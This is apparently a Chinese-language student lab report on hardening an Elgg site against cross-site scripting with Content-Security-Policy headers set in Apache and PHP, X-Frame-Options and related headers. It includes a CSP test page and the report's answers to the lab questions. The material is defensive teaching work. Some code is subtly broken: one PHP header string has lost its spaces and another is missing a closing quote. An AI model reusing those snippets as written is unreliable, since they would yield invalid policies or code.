Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-111-111-111' *.example70.com"
</VirtualHost>
-
- 这里的规则:
default-src 'self'
:默认资源(图片、CSS、脚本等)仅允许从本站加载。script-src 'self' 'nonce-111-111-111' *.example70.com
:- 允许站点自身 (
'self'
) 以及example70.com
的 JavaScript 代码执行。 - 允许特定的
nonce
值(浏览器每次加载页面都会验证nonce
)。
- 允许站点自身 (
2.通过 PHP 代码设置 CSP
- 通过网页应用程序设置CSP策略。在我们配置文件中的第三个VirtualHost条目(标记为),没 有设置任何CSP策略。然而,该站点的入口点是phpindex.php,这是一个PHP程序。该程序会在生 成的响应中添加一个CSP头。
- 在
phpindex.php
文件中添加: -
<?php $cspheader="Content-Security-Policy:". "default-src'self';". "script-src'self''nonce-111-111-111'*.example70.com". ""; header($cspheader); ?> <?php include'index.html';?>
这样,每个页面都会动态添加 CSP 头部,防止恶意 JavaScript 执行。
第三步:阻止 iframe 点击劫持
点击劫持(Clickjacking)是一种利用 iframe
让用户误点恶意按钮的攻击。可以用 CSP 或 X-Frame-Options
防止。
-
在 Apache 中添加
Header set X-Frame-Options "DENY"
DENY
:完全禁止网页在 iframe 中加载。SAMEORIGIN
:允许同域 iframe(如果需要)。
2.在 PHP 代码中添加
header("X-Frame-Options: DENY");
第四步:增强安全 HTTP 头
除了 CSP 和 X-Frame-Options
,还可以添加:
-
防止 MIME 类型混淆
Header set X-Content-Type-Options "nosniff"
防止浏览器错误解析非脚本文件为 JavaScript。
2.启用 HTTPS
- 让
Strict-Transport-Security
头部生效,强制 HTTPS:
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
3.禁止浏览器自动执行下载的文件
Header set X-Download-Options "noopen"
总结
- 恢复 网站 的
HTMLawed
过滤插件和htmlspecialchars()
- 使用 CSP 限制 JavaScript 代码的执行
- 添加
X-Frame-Options
防止点击劫持 - 增强 HTTP 安全头
这样,就能有效防止 XSS 攻击,提高 Elgg 站点的安全性!
*实验演示步骤
访问以下三个URL:
1. 网页前端代码分析
这三个网页的源码如下所示:
<html>
<h2>CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. From self: <span id='area4'>Failed</span></p>
<p>5. From www.example60.com: <span id='area5'>Failed</span></p>
<p>6. From www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click:
<button onclick="alert('JS Code executed!')">Click me</button></p>
<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>
<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>
<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>
<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>
这个 HTML 页面用于测试内容安全策略(Content Security Policy, CSP)分为了 7 个测试部分:
- 使用 nonce="111-111-111" 的内联 JavaScript
- 使用 nonce="222-222-222" 的内联 JavaScript
- 没有 nonce 的内联 JavaScript
- 从同源加载的外部脚本
- 从 www.example60.com 加载的外部脚本
- 从 www.example70.com 加载的外部脚本
- 通过按钮点击触发内联 JavaScript
2. CSP 策略设置文件
在 /etc/apache2/sites-available/apache_csp.conf
文件中保存了以上三个网页的 CSP 策略:
# Purpose: Do not set CSP policies
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
</VirtualHost>
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \
default-src 'self'; \
script-src 'self' *.example70.com \
"
</VirtualHost>
# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php
</VirtualHost>
# Purpose: hosting Javascript files
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example60.com
</VirtualHost>
# Purpose: hosting Javascript files
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example70.com
</VirtualHost>
- www.example32a.com:没有设置 CSP 安全策略
- www.example32b.com:允许加载同源的和
*.example70.com
的 JavaScript 脚本。 - www.example32c.com:将首页文件设为
phpindex.php
,通过PHP脚本控制CSP。
3.1 描述并解释你访问这些网站时的观察结果。
前两个关于 Nonce 的测试都为 Failed,原因是 CSP 策略中没有添加相关的 Nonce 值,这会导致它们无法执行。第三项无 Nonce 值的也无法执行,原因是默认情况下,CSP 会阻止所有未带 nonce
的内联脚本,除非策略中明确允许。第四项和第六项可以执行是因为 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本。第五项无法执行是由于 CSP 策略中没有允许加载来自 www.example60.com 的 JS 脚本。
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' *.example70.com".
"";
header($cspheader);
?>
<?php include 'index.html';?>
允许了 Nonce 为 nonce-111-111-111
的 JS 脚本执行,并且允许同源的或者来自 www.example70.com 的 JS 脚本
点击所有三个网站网页中的按钮,描述并解释你的观察结果
可以发现通过按键触发的 JS 代码可以执行,原因是该网站没有设置 CSP 策略。
发现通过按键触发的 JS 代码不能执行,原因是按键触发属于内联事件,而 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本,默认是无法执行内联事件的,所以不能执行
3.3更改 example32b 上的服务器配置(修改 Apache 配置),使 Areas 5 和 6 显示 OK。请在实验报告中写出你修改的配置。
修改/etc/apache2/sites-available/apache_csp.conf
配置为:
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \
default-src 'self'; \
script-src 'self' *.example70.com *.example60.com \
"
</VirtualHost>
重启 Apache 服务:
$ service apache2 restart
刷新页面:
3.4更改 example32c 上的服务器配置(修改 PHP 代码),使 Areas 1、2、4、5 和 6 都显示 OK。请在实验报告中写出你修改的配置。
修改 /var/www/csp/phpindex.php
,如下所示:
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example60.com *.example70.com
"";
header($cspheader);
?>
<?php include 'index.html';?>
重启 Apache 服务
$ service apache2 restart
刷新页面:
请解释为什么 CSP 可以帮助防止跨站脚本攻击。
- 限制脚本来源:可以指定只能执行同源的或者指定地址的 JS 脚本,防止未经允许的脚本执行。
- 阻止内联脚本执行:可以防止攻击者在页面中插入恶意的 Button,点击后执行恶意脚本。
- 使用 Nonce 验证合法的脚本:只有带有正确 Nonce 的 JS 脚本才能执行,从而无法执行恶意脚本。
参考链接: